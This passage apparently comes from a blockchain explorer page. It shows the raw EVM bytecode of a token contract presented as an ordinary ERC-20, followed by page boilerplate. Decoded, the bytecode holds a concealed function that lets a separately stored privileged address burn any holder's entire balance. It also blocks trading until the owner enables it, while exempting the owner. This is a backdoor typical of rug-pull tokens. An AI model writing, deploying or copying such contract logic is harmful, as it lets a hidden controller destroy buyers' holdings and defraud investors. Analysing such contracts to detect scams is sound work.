f81858561057e565b6104876105db565b6001600160a01b0381166104b057604051631e4fbdf760e01b81525f60048201526024016103ff565b6104b981610608565b50565b6104c98383836001610659565b505050565b6001600160a01b0382166104f757604051634b637e8f60e11b81525f60048201526024016103ff565b610412825f8361072b565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811015610578578181101561056a57604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103ff565b61057884848484035f610659565b50505050565b6001600160a01b0383166105a757604051634b637e8f60e11b81525f60048201526024016103ff565b6001600160a01b0382166105d05760405163ec442f0560e01b81525f60048201526024016103ff565b6104c983838361072b565b6006546001600160a01b031633146104615760405163118cdaa760e01b81523360048201526024016103ff565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166106825760405163e602df0560e01b81525f60048201526024016103ff565b6001600160a01b0383166106ab57604051634a1406b160e11b81525f60048201526024016103ff565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561057857826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161071d91815260200190565b60405180910390a350505050565b5f61073e6006546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561076d57506006546001600160a01b03848116911614155b801561078257506001600160a01b0384163014155b801561079757506001600160a01b0383163014155b156107f85760085460ff166107f85760405162461bcd60e51b815260206004820152602160248201527f54686520747261646520686173206e6f74206265656e206f70656e65642079656044820152601d60fa1b60648201526084016103ff565b6105788484610807858561080c565b61081e565b5f6108178284610a8c565b9392505050565b6001600160a01b038316610848578060025f82825461083d9190610a9f565b909155506108b89050565b6001600160a01b0383165f908152602081905260409020548181101561089a5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016103ff565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166108d4576002805482900390556108f2565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161093791815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461098f575f5ffd5b919050565b5f5f604083850312156109a5575f5ffd5b6109ae83610979565b946020939093013593505050565b5f602082840312156109cc575f5ffd5b61081782610979565b5f5f5f606084860312156109e7575f5ffd5b6109f084610979565b92506109fe60208501610979565b929592945050506040919091013590565b5f5f60408385031215610a20575f5ffd5b610a2983610979565b9150610a3760208401610979565b90509250929050565b600181811c90821680610a5457607f821691505b602082108103610a7257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561038557610385610a78565b8082018082111561038557610385610a7856fea26469706673582212204ce3bc528afd26ad5fe8f41c135e2636bb0c76cd9cfed64fd5076931fb2604b864736f6c634300081d0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b411461024c578063a9059cbb14610260578063dd62ed3e1461027f578063f2fde38b146102c3575f5ffd5b806370a08231146101dd578063715018a6146102115780638da5cb5b14610225575f5ffd5b806321860a05116100b757806321860a051461015e57806323b872dd1461017f578063313ce5671461019e5780636c580801146101c9575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102e2565b6040516101089190610944565b60405180910390f35b34801561011c575f5ffd5b5061013061012b366004610994565b610372565b6040519015158152602001610108565b34801561014b575f5ffd5b506002545b604051908152602001610108565b348015610169575f5ffd5b5061017d6101783660046109bc565b61038b565b005b34801561018a575f5ffd5b506101306101993660046109d5565b610416565b3480156101a9575f5ffd5b50600654600160a01b900460ff1660405160ff9091168152602001610108565b3480156101d4575f5ffd5b5061017d610439565b3480156101e8575f5ffd5b506101506101f73660046109bc565b6001600160a01b03165f9081526020819052604090205490565b34801561021c575f5ffd5b5061017d610450565b348015610230575f5ffd5b506006546040516001600160a01b039091168152602001610108565b348015610257575f5ffd5b506100fb610463565b34801561026b575f5ffd5b5061013061027a366004610994565b610472565b34801561028a575f5ffd5b50610150610299366004610a0f565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156102ce575f5ffd5b5061017d6102dd3660046109bc565b61047f565b6060600380546102f190610a40565b80601f016020809104026020016040519081016040528092919081815260200182805461031d90610a40565b80156103685780601f1061033f57610100808354040283529160200191610368565b820191905f5260205f20905b81548152906001019060200180831161034b57829003601f168201915b5050505050905090565b5f3361037f8185856104bc565b60019150505b92915050565b6005546001600160a01b0316336001600160a01b0316146103aa575f5ffd5b6001600160a01b0381165f90815260208190526040902054806104085760405162461bcd60e51b8152602060048201526011602482015270139bc81d1bdad95b9cc81d1bc81cd95b99607a1b60448201526064015b60405180910390fd5b61041282826104ce565b5050565b5f33610423858285610502565b61042e85858561057e565b506001949350505050565b6104416105db565b6008805460ff19166001179055565b6104586105db565b6104615f610608565b565b6060600480546102f190610a40565b5f3361037f81858561057e565b6104876105db565b6001600160a01b0381166104b057604051631e4fbdf760e01b81525f60048201526024016103ff565b6104b981610608565b50565b6104c98383836001610659565b505050565b6001600160a01b0382166104f757604051634b637e8f60e11b81525f60048201526024016103ff565b610412825f8361072b565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811015610578578181101561056a57604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103ff565b61057884848484035f610659565b50505050565b6001600160a01b0383166105a757604051634b637e8f60e11b81525f60048201526024016103ff565b6001600160a01b0382166105d05760405163ec442f0560e01b81525f60048201526024016103ff565b6104c983838361072b565b6006546001600160a01b031633146104615760405163118cdaa760e01b81523360048201526024016103ff565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166106825760405163e602df0560e01b81525f60048201526024016103ff565b6001600160a01b0383166106ab57604051634a1406b160e11b81525f60048201526024016103ff565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561057857826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161071d91815260200190565b60405180910390a350505050565b5f61073e6006546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561076d57506006546001600160a01b03848116911614155b801561078257506001600160a01b0384163014155b801561079757506001600160a01b0383163014155b156107f85760085460ff166107f85760405162461bcd60e51b815260206004820152602160248201527f54686520747261646520686173206e6f74206265656e206f70656e65642079656044820152601d60fa1b60648201526084016103ff565b6105788484610807858561080c565b61081e565b5f6108178284610a8c565b9392505050565b6001600160a01b038316610848578060025f82825461083d9190610a9f565b909155506108b89050565b6001600160a01b0383165f908152602081905260409020548181101561089a5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016103ff565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166108d4576002805482900390556108f2565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161093791815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461098f575f5ffd5b919050565b5f5f604083850312156109a5575f5ffd5b6109ae83610979565b946020939093013593505050565b5f602082840312156109cc575f5ffd5b61081782610979565b5f5f5f606084860312156109e7575f5ffd5b6109f084610979565b92506109fe60208501610979565b929592945050506040919091013590565b5f5f60408385031215610a20575f5ffd5b610a2983610979565b9150610a3760208401610979565b90509250929050565b600181811c90821680610a5457607f821691505b602082108103610a7257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561038557610385610a78565b8082018082111561038557610385610a7856fea26469706673582212204ce3bc528afd26ad5fe8f41c135e2636bb0c76cd9cfed64fd5076931fb2604b864736f6c634300081d0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.